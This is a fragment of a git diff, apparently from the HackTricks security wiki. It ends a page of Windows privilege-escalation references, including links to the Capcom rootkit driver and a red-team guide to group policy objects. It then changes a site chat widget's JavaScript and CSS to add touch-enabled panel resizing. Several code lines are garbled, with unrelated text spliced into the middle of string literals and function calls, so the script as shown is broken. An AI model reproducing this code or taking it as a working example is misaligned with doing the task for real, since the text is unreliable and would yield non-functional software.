-Identity "Server Operators" -Recurse - [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys) - [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e) - [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html) +- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/theme/ai.js b/theme/ai.js index 9de4ec902..761454181 100644 --- a/theme/ai.js +++ b/theme/ai.js @@ -5,7 +5,10 @@ (() => { const KEY = 'htSummerDiscountsDismissed'; - const IMG = '/images/discount.jpeg'; + const IMG = '/ima * HackTricks AI Chat Widget v1.17 – enhanced resizable sidebar + * --------------------------------------------------- + * ❶ Markdown rendering + sanitised (same as before) + * ❷ ENHANCED: improved drag‑to‑resize panel with better UXdiscount.jpeg'; const TXT = 'Click here for HT Summer Discounts, Last Days!'; const URL = 'https://training.hacktricks.xyz'; @@ -13,7 +16,20 @@ if (localStorage.getItem(KEY) === 'true') return; // Quick helper - const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css }); + const $ = (tag, css = '') => Object.assign(document.cr p.innerHTML = ` +
+ HackTricks AI Chat + ↔ Drag edge to resize +
+ + +
+
+
+
+ + +
`;tag), { style: css }); // --- Overlay (blur + dim) --- const overlay = $('div', ` @@ -111,7 +127,7 @@ const MAX_CONTEXT = 3000; // highlighted‑text char limit const MAX_QUESTION = 500; // question char limit const MIN_W = 250; // ← resize limits → - const MAX_W = 600; + const MAX_W = 800; const DEF_W = 350; // default width (if nothing saved) const TOOLTIP_TEXT = "💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it"; @@ -345,8 +361,9 @@ #ht-ai-panel{position:fixed;top:0;right:0;height:100%;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif} #ht-ai-panel.open{transform:translateX(0)} @media(max-width:768px){#ht-ai-panel{display:none}} -#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333} -#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center} +#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333;flex-wrap:wrap} +#ht-ai-header strong{flex-shrink:0} +#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center;margin-left:auto} #ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0} #ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7} #ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px} @@ -367,8 +384,10 @@ ::selection{background:#ffeb3b;color:#000} ::-moz-selection{background:#ffeb3b;color:#000} /* NEW: resizer handle */ -#ht-ai-resizer{position:absolute;left:0;top:0;width:6px;height:100%;cursor:ew-resize;background:transparent} -#ht-ai-resizer:hover{background:rgba(255,255,255,.05)}`; +#ht-ai-resizer{position:absolute;left:0;top:0;width:8px;height:100%;cursor:ew-resize;background:rgba(255,255,255,.08);border-right:1px solid rgba(255,255,255,.15);transition:background .2s ease} +#ht-ai-resizer:hover{background:rgba(255,255,255,.15);border-right:1px solid rgba(255,255,255,.3)} +#ht-ai-resizer:active{background:rgba(255,255,255,.25)} +#ht-ai-resizer::before{content:'';position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);width:2px;height:20px;background:rgba(255,255,255,.4);border-radius:1px}`; const s = document.createElement("style"); s.id = "ht-ai-style"; s.textContent = css; @@ -432,24 +451,43 @@ const onMove = (e) => { if (!dragging) return; - const dx = startX - e.clientX; // dragging leftwards ⇒ +dx + e.preventDefault(); + const clientX = e.clientX || (e.touches && e.touches[0].clientX); + const dx = startX - clientX; // dragging leftwards ⇒ +dx let newW = startW + dx; newW = Math.min(Math.max(newW, MIN_W), MAX_W); panel.style.width = newW + "px"; }; + const onUp = () => { if (!dragging) return; dragging = false; + handle.style.background = ""; + document.body.style.userSelect = ""; + document.body.style.cursor = ""; localStorage.setItem("htAiWidth", parseInt(panel.style.width, 10)); document.removeEventListener("mousemove", onMove); document.removeEventListener("mouseup", onUp); + document.removeEventListener("touchmove", onMove); + document.removeEventListener("touchend", onUp); }; - handle.addEventListener("mousedown", (e) => { + + const onStart = (e) => { + e.preventDefault(); dragging = true; - startX = e.clientX; + startX = e.clientX || (e.touches && e.touches[0].clientX); startW = parseInt(window.getComputedStyle(panel).width, 10); + handle.style.background = "rgba(255,255,255,.25)"; + document.body.style.userSelect = "none"; + document.body.style.cursor = "ew-resize"; + document.addEventListener("mousemove", onMove); document.addEventListener("mouseup", onUp); - }); + document.addEventListener("touchmove", onMove, { passive: false }); + document.addEventListener("touchend", onUp); + }; + + handle.addEventListener("mousedown", onStart); + handle.addEventListener("touchstart", onStart, { passive: false }); } })();